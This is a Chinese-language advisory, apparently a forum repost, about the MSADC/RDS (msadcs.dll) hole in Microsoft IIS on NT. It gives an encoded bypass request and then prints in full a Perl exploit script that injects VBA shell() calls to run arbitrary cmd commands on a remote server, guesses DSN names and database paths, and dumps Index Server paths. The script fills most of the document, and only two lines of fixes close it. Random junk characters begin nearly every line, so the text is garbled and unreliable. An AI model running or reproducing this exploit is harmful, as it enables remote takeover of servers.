IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
~*3obZ2>2 x>>#<hOz[ 涉及程序：
[j6EzMN Microsoft NT server
c) d*[OI8 DcNQ2Zz ?% 描述：
r'kUU] j9 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
b8?qY m @}#" o 详细：
xiu?BP ?V 如果你没有时间读详细内容的话，就删除:
l7 +#gPA c:\Program Files\Common Files\System\Msadc\msadcs.dll
4G:I VK9 有关的安全问题就没有了。
$Hx00
h o ugtzF 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
`EV"
/&` ]=s!cfu 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
[D W}z 关于利用ODBC远程漏洞的描述，请参看:
qf/1a CQiP D;f[7Cac http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm +3HukoR( ' bH',X8gF 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
2?",2x0 9 http://www.microsoft.com/security/bulletins/MS99-025faq.asp k,EI+lC X <@ B zF0 这里不再论述。
Fq{Z-yVp s m42 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
J{GtH[ 64Ot`=A" /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
;z6 Gk&? 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
rsbd DTy %>+uEjbT R)NSJ-A!2 #将下面这段保存为txt文件，然后: "perl -x 文件名"
kx,.)qKk VD=H=Ju #!perl
F#Lo^ 8 #
JP#S/kJ%3 # MSADC/RDS 'usage' (aka exploit) script
Z?)g' n #
0jTReY-W # by rain.forest.puppy
l=?e0d>O #
zxR]+9Zh # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
pz%s_g' # beta test and find errors!
@*z"Hi>4 $ XjijD9R use Socket; use Getopt::Std;
dq 93P%X24 getopts("e:vd:h:XR", \%args);
erH,EE^-x< z33UER" print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
VF`! ks PR8nJts W5 if (!defined $args{h} && !defined $args{R}) {
&8$v~ print qq~
8(1*,CJQg Usage: msadc.pl -h <host> { -d <delay> -X -v }
* %D_\0; -h <host> = host you want to scan (ip or domain)
U,g8:M
xHK -d <seconds> = delay between calls, default 1 second
*yBVZD|?H -X = dump Index Server path table, if available
O= S[ n -v = verbose
JK$3qUDnI -e = external dictionary file for step 5
g p:0 Y ?eS;Yc Or a -R will resume a command session
~$J ;yo~ <>HtXn/ ~; exit;}
L}h_\1 <6UXk[y $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
s"jvO>[ if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
NLy4Z:&{ if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
-1Q24jrO- if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
8iI p[9~= $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
/4x\}qvU if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
Z^kE]Ir#EV 0 qS/>u* if (!defined $args{R}){ $ret = &has_msadc;
e bBi zc= die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
O#)1 zD} .W{CJh print "Please type the NT commandline you want to run (cmd /c assumed):\n"
=u2 z3$ . "cmd /c ";
Skr (C5 T $in=<STDIN>; chomp $in;
HV a9b; $command="cmd /c " . $in ;
C. ?^] Y TiD#t+g if (defined $args{R}) {&load; exit;}
FX!KX/OE) iT'doF print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
;W-
A2g
&try_btcustmr;
6kAAdy}ck \5a. JfF print "\nStep 2: Trying to make our own DSN...";
C^ZoYf8+"m &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
}m+Q(2 ~Dt$}l-9 print "\nStep 3: Trying known DSNs...";
2M x\D &known_dsn;
wO]e%BTO 'KH+e#?Ar print "\nStep 4: Trying known .mdbs...";
j|KDgI<0 &known_mdb;
L\#YFf y i$+rPF1 if (defined $args{e}){
r^m&<)Ca print "\nStep 5: Trying dictionary of DSN names...";
L6h<B
:l &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
3dN`Q:1R9 "qgwuWb M print "Sorry Charley...maybe next time?\n";
.j JD$FC exit;
[q|W*[B:@ Ch]d\G M ##############################################################################
# scZP /4T6Z[=s sub sendraw { # ripped and modded from whisker
35l%iaj]G5 sleep($delay); # it's a DoS on the server! At least on mine...
xt|^~~ / my ($pstr)=@_;
%,WH*") socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
u\ _yjv# die("Socket problems\n");
P2vG)u if(connect(S,pack "SnA4x8",2,80,$target)){
p3vf7 eqn select(S); $|=1;
8&U
Mmbgy print $pstr; my @in=<S>;
~61b^L}$ select(STDOUT); close(S);
j""ZFh04 return @in;
[W3X$ r~- } else { die("Can't connect...\n"); }}
x3i}IC sT;wHtU ##############################################################################
U~D~C~\2; KO " / sub make_header { # make the HTTP request
loIb}8 my $msadc=<<EOT
{wC*61@1 POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
8?iI;( User-Agent: ACTIVEDATA
&{e ]S!D Host: $ip
+(2$YJ35 Content-Length: $clen
Q0 (6n8i Connection: Keep-Alive
_tHhS@ HQ@ g6 ADCClientVersion:01.06
2PAu>}W* Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
36Lkcda[ Qa,= --!ADM!ROX!YOUR!WORLD!
"}v.>L<P Content-Type: application/x-varg
kt rIi5B Content-Length: $reqlen
Go{,<
gm R%KF/1;/ EOT
\96\!7$@O ; $msadc=~s/\n/\r\n/g;
R ` ViRJh return $msadc;}
d Gp7EB` ;j%I1k%A ##############################################################################
@ZU$W9g ,gw9R9 x_ sub make_req { # make the RDS request
u{DE OhtI4 my ($switch, $p1, $p2)=@_;
Dy.i^`7\ my $req=""; my $t1, $t2, $query, $dsn;
)'~Jsg- d%|l)JF*5 if ($switch==1){ # this is the btcustmr.mdb query
"jAd.x?X7e $query="Select * from Customers where City=" . make_shell();
!hq2AY&H) $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
J'P yn $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
k7iko {5D Ms|c" ?se elsif ($switch==2){ # this is general make table query
VaD+:b4 $query="create table AZZ (B int, C varchar(10))";
3aq'JVq $dsn="$p1";}
u79- B-YW^ R` < ^ /h elsif ($switch==3){ # this is general exploit table query
ZxNTuGOB: $query="select * from AZZ where C=" . make_shell();
}T4|Kyu? $dsn="$p1";}
YTa
g|If RKP, w % elsif ($switch==4){ # attempt to hork file info from index server
G{!er:Vwdh $query="select path from scope()";
mxqD'^n# $dsn="Provider=MSIDXS;";}
MoFM'a9 ?zBu` 7j elsif ($switch==5){ # bad query
J> $query="select";
i3,.E]/wX@ $dsn="$p1";}
j"nOxs 0 cycnOd $t1= make_unicode($query);
o=YOn&@% $t2= make_unicode($dsn);
}AS /^E $req = "\x02\x00\x03\x00";
(1'DZ xJ&u $req.= "\x08\x00" . pack ("S1", length($t1));
Z8 v 8@Y $req.= "\x00\x00" . $t1 ;
Oin9lg -jR $req.= "\x08\x00" . pack ("S1", length($t2));
LH4A!a] $req.= "\x00\x00" . $t2 ;
\o!3TK"N $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
[@Ac# return $req;}
y`va6 %u{ q2X::Yqk ##############################################################################
]B3](TH" Z
i6s0Uck sub make_shell { # this makes the shell() statement
=#u4^%i) return "'|shell(\"$command\")|'";}
zz*PAYl. {J==y; dK ##############################################################################
Q~]oN K[y")ooE<j sub make_unicode { # quick little function to convert to unicode
Y2DL%'K^ my ($in)=@_; my $out;
_BP%@o for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
t .ulG
* return $out;}
Rv&"h_"t <uuumi-!%G ##############################################################################
iI<c <'4 Wne.z! sub rdo_success { # checks for RDO return success (this is kludge)
2V@5: tf my (@in) = @_; my $base=content_start(@in);
Q("m*eMRt if($in[$base]=~/multipart\/mixed/){
>B{qPrm I return 1 if( $in[$base+10]=~/^\x09\x00/ );}
@ SD XJJ h return 0;}
3 ZOD2: ( %<>:$4U@] ##############################################################################
IMWt!#vuY `NQ sub make_dsn { # this makes a DSN for us
ytY\ &m my @drives=("c","d","e","f");
>\1twd{u] print "\nMaking DSN: ";
5}G_2<G foreach $drive (@drives) {
U:*rlA@_. print "$drive: ";
\s#~ %l my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
k)3N0]q6 "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
^dpM2$J . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
,?yjsJd. $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
Xgx/ubca0 return 0 if $2 eq "404"; # not found/doesn't exist
II Ap-Y~B if($2 eq "200") {
qA '^b~ foreach $line (@results) {
C)U4Fr ?E: return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
ahXcQ9jzFi } return 0;}
W $jRS fc~fjtqwvz ##############################################################################
X.#*+k3s0 _AF$E"f@ sub verify_exists {
F qJ`d2E my ($page)=@_;
Yuv=<V my @results=sendraw("GET $page HTTP/1.0\n\n");
rS>.!DiYr, return $results[0];}
yr},pB "=Z=SJ1 D ##############################################################################
z/91v#}. d rAJ-ii sub try_btcustmr {
-Cvd3%Jje my @drives=("c","d","e","f");
}m<+tn3m my @dirs=("winnt","winnt35","winnt351","win","windows");
WblH} _kBm KE foreach $dir (@dirs) {
e5AsX.kv B print "$dir -> "; # fun status so you can see progress
.*N,x(V foreach $drive (@drives) {
iY`[dsT print "$drive: "; # ditto
Q.$/I+&j $reqlen=length( make_req(1,$drive,$dir) ) - 28;
)F hbN@3 $reqlenlen=length( "$reqlen" );
A@~9r9Uf $clen= 206 + $reqlenlen + $reqlen;
]A[}:E 5} ^N7cX K* my @results=sendraw(make_header() . make_req(1,$drive,$dir));
Pm P&Qje7 if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
/ mJb$5 =1 else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
AM?Zh M 5 xr2 ##############################################################################
,sj( g/hg \0lQ1FrY sub odbc_error {
CHS}tCfos> my (@in)=@_; my $base;
Ew]&~:$Ki my $base = content_start(@in);
?4%#myO3a if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
.&5 3sJ0{ $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
lre(]oBXA $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
!JdZ0l $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
PM@_ZJ 'x return $in[$base+4].$in[$base+5].$in[$base+6];}
i= ^6nwD& print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
!gyW15z' print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
0xi2VN"X $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
lw8 t# _P <>5n;- ##############################################################################
iPCn-DoIS 0 {d)f1 sub verbose {
pbh>RS=ri my ($in)=@_;
F'wG % return if !$verbose;
DIYR8l} x print STDOUT "\n$in\n";}
~W"@[*6w .,VLQ btg ##############################################################################
;<o?J M I<W<;A sub save {
wtL=^ my ($p1, $p2, $p3, $p4)=@_;
?1|\(W# open(OUT, ">rds.save") || print "Problem saving parameters...\n";
qz)KCEs print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
Ta3* G close OUT;}
/^K-tz-R q(46v`u ##############################################################################
y'6l fThT ,ZYPffu<* sub load {
c=-qbG0` my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
HOPl0fY$L open(IN,"<rds.save") || die("Couldn't open rds.save\n");
lV./K;\T @p=<IN>; close(IN);
a_VWgPVdDS $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
1LSD,t| $target= inet_aton($ip) || die("inet_aton problems");
1uyd+*/(xP print "Resuming to $ip ...";
N3Q
.4?
z9 $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
2.{zf r if($p[1]==1) {
giIPK& $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
]2&RN@
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
4 F -<j! my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
r_8;aPL if (rdo_success(@results)){print "Success!\n";}
zk@s#_3ct else { print "failed\n"; verbose(odbc_error(@results));}}
d BM{]@bZ elsif ($p[1]==3){
av'[k< if(run_query("$p[3]")){
3*?W 2;Zw$ print "Success!\n";} else { print "failed\n"; }}
b "Nd8f [ elsif ($p[1]==4){
2#qc YU if(run_query($drvst . "$p[3]")){
hVz]' , print "Success!\n"; } else { print "failed\n"; }}
> `yRL[c; exit;}
{QN 5QGvK %LqT>HXJ ##############################################################################
2/F8kVx{ GAs.?JHd sub create_table {
z t my ($in)=@_;
jW^]N$> $reqlen=length( make_req(2,$in,"") ) - 28;
A*|\E:fo $reqlenlen=length( "$reqlen" );
|rgPHRX^Hn $clen= 206 + $reqlenlen + $reqlen;
x*X {*?5@ my @results=sendraw(make_header() . make_req(2,$in,""));
]W`M
<hEI return 1 if rdo_success(@results);
[T3%Xt'4 my $temp= odbc_error(@results); verbose($temp);
g&_f%hx? return 1 if $temp=~/Table 'AZZ' already exists/;
McbbEs=) return 0;}
"ChJR[4@ "2tKh!?Q ##############################################################################
Hkf]=kPy* ^%\MOjSN sub known_dsn {
^@Qc!(P # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
8h=K S my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
yYTOp^ "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
6 !Mm") "banner", "banners", "ads", "ADCDemo", "ADCTest");
pz{ ]O_px zG%'Cw)8 foreach $dSn (@dsns) {
n-GoG(s..b print ".";
|v#rSVx next if (!is_access("DSN=$dSn"));
# x X if(create_table("DSN=$dSn")){
G~ 4G$YL* print "$dSn successful\n";
OeZ "WO if(run_query("DSN=$dSn")){
zW`a ]n. print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
(7$BF~s:, print "Something's borked. Use verbose next time\n";}}} print "\n";}
3". #nN S`TQWWQo; ##############################################################################
X<v1ES$ HRCnjem/v\ sub is_access {
<<Z, 1{3F my ($in)=@_;
%z~kHL $reqlen=length( make_req(5,$in,"") ) - 28;
?1LRR
;-x $reqlenlen=length( "$reqlen" );
0xeY0!ux $clen= 206 + $reqlenlen + $reqlen;
e;|$nw- my @results=sendraw(make_header() . make_req(5,$in,""));
} {&;\^i my $temp= odbc_error(@results);
ttBqp|.?S verbose($temp); return 1 if ($temp=~/Microsoft Access/);
nuA
0%K return 0;}
Wn?),=WQ{ Czy}~;_Ay ##############################################################################
I_R 6
M1 b9v <Jk sub run_query {
`9T5Dem|# my ($in)=@_;
xm=$D6O: $reqlen=length( make_req(3,$in,"") ) - 28;
"];@N!dA $reqlenlen=length( "$reqlen" );
2,|;qFJY-@ $clen= 206 + $reqlenlen + $reqlen;
:" @-Bcln my @results=sendraw(make_header() . make_req(3,$in,""));
L
gy^ ^. return 1 if rdo_success(@results);
#]gmM my $temp= odbc_error(@results); verbose($temp);
P > `|.@ return 0;}
|goK@ < @ Q;s[Kg{! ##############################################################################
9}4~3_gv;M 8f65 ;lyN sub known_mdb {
d..JW{ my @drives=("c","d","e","f","g");
?|\wJrM ] my @dirs=("winnt","winnt35","winnt351","win","windows");
NBLjBa%eL my $dir, $drive, $mdb;
2n-kJl`: O my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
?a1pO#{Dg _,d<9 Y) # this is sparse, because I don't know of many
Ji6.-[: my @sysmdbs=( "\\catroot\\icatalog.mdb",
[%~yY& "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
@S>;t)\J "\\system32\\certmdb.mdb",
7;&,L H "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
6}|h P|C 5k5 my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
.;l`VWP "\\cfusion\\cfapps\\forums\\forums_.mdb",
"7j E&I "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
%hdjQI H "\\cfusion\\cfapps\\security\\realm_.mdb",
AD@ {7 "\\cfusion\\cfapps\\security\\data\\realm.mdb",
QBN\wL8g "\\cfusion\\database\\cfexamples.mdb",
VYt<j<ba "\\cfusion\\database\\cfsnippets.mdb",
JZ&_1~Z= "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
?zbW z=nq "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
8lA,3'z "\\cfusion\\brighttiger\\database\\cleam.mdb",
.*.eY?,V "\\cfusion\\database\\smpolicy.mdb",
@~UQU)- ( "\\cfusion\\database\cypress.mdb",
xH }bX- m "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
DQaE9gmC "\\website\\cgi-win\\dbsample.mdb",
@7V~CNB+ "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
j['B9vG "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
(XY`1|])` ); #these are just
GG +T- foreach $drive (@drives) {
`(=Kp=b foreach $dir (@dirs){
$CX3P)%
` foreach $mdb (@sysmdbs) {
r@bh,U$ print ".";
Kfr1 k if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
\g
h |G print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
Im@OAR4,R if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
uoe Zb=< print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
<c:H u{D } else { print "Something's borked. Use verbose next time\n"; }}}}}
2lOUNx Q$ KB(W'M_D\ foreach $drive (@drives) {
|D%mWQng foreach $mdb (@mdbs) {
di0@ E<@1: print ".";
w`V6vYd@ if(create_table($drv . $drive . $dir . $mdb)){
vv{+p(~**O print "\n" . $drive . $dir . $mdb . " successful\n";
`[ U.BVP' if(run_query($drv . $drive . $dir . $mdb)){
w D r/T3 print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
+*?l"> ?|F } else { print "Something's borked. Use verbose next time\n"; }}}}
o ]z#~^w }
lw.[qP q CYu@H o ##############################################################################
k0K$OX*:e <r$h =hM sub hork_idx {
0doJ F@H print "\nAttempting to dump Index Server tables...\n";
$T^q>v2u print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
>X ' -J{4R $reqlen=length( make_req(4,"","") ) - 28;
=DD KGy .g $reqlenlen=length( "$reqlen" );
,m5i(WL $clen= 206 + $reqlenlen + $reqlen;
qqf*g=f my @results=sendraw2(make_header() . make_req(4,"",""));
\y]K]iv if (rdo_success(@results)){
:Ev
gUA\4 my $max=@results; my $c; my %d;
ipbhjK$ for($c=19; $c<$max; $c++){
}&e HU $results[$c]=~s/\x00//g;
( I#6!Yt9J $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
40h$-
VYT/ $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
ZL\^J8PRK $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
P=jsOuW $d{"$1$2"}="";}
jqc}mI\# foreach $c (keys %d){ print "$c\n"; }
V3q`V/ \ } else {print "Index server doesn't seem to be installed.\n"; }}
xd ^Pkf \GxqE8 ##############################################################################
C9sU^ ]#F ] Z8u0YtM) sub dsn_dict {
%\HPYnIe open(IN, "<$args{e}") || die("Can't open external dictionary\n");
:VZS7$5 while(<IN>){
76 )"uqv1x $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
zdRVAcrwQ next if (!is_access("DSN=$dSn"));
w|s2f`! if(create_table("DSN=$dSn")){
T :d+Q z\ print "$dSn successful\n";
;'8P/a$ if(run_query("DSN=$dSn")){
uH%b rbrU print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
BoYY^ih print "Something's borked. Use verbose next time\n";}}}
vu\ W5M print "\n"; close(IN);}
$Z#~wsw |xFA} ##############################################################################
VPYLDg.' F{E @snc sub sendraw2 { # ripped and modded from whisker
K {v^Y,B sleep($delay); # it's a DoS on the server! At least on mine...
x,25ROaHY my ($pstr)=@_;
}_zN%Tf~ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
u0&R*YV die("Socket problems\n");
>j hcSvM6 if(connect(S,pack "SnA4x8",2,80,$target)){
BN CM{}e print "Connected. Getting data";
,FzkGB# open(OUT,">raw.out"); my @in;
A z:~|P select(S); $|=1; print $pstr;
lz#.f,h while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
z Fm`e:td close(OUT); select(STDOUT); close(S); return @in;
yl~;! } else { die("Can't connect...\n"); }}
1!MJ+?Jl _`? cBu` ##############################################################################
@`L ;_S+ <?7qI8 5OT sub content_start { # this will take in the server headers
l}L81t7f my (@in)=@_; my $c;
IN bV6jZL for ($c=1;$c<500;$c++) {
md+pS"8o; if($in[$c] =~/^\x0d\x0a/){
G]rY1f0 if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
QNx]8r else { return $c+1; }}}
9
fB|e| return -1;} # it should never get here actually
yk?bz =fRS UtX ##############################################################################
n/1t UF L'{W|Xb+ sub funky {
h^=;\ng1l my (@in)=@_; my $error=odbc_error(@in);
E42)93~C if($error=~/ADO could not find the specified provider/){
0 (-4"u>? print "\nServer returned an ADO miscofiguration message\nAborting.\n";
iuY ,E exit;}
,.9 lz if($error=~/A Handler is required/){
eWAD;x?. print "\nServer has custom handler filters (they most likely are patched)\n";
r=n{3o+ exit;}
wx3_?8z/O if($error=~/specified Handler has denied Access/){
_ZhQY, print "\nServer has custom handler filters (they most likely are patched)\n";
9{;L7`< exit;}}
~_EDJp1J +I3V fv ##############################################################################
5wV J.B~s gf8o~vKX$G sub has_msadc {
>S:(BJMo my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
O
ixqou my $base=content_start(@results);
G"F O%3&| return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
~NK $rHwi% return 0;}
M5WB.L[@ q {`SMxDevc} ########################
}
KyoMs =|i_T%a >}
2C,8 N 解决方案：
;VKWY 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
&233QRYM 2、移除web 目录: /msadc
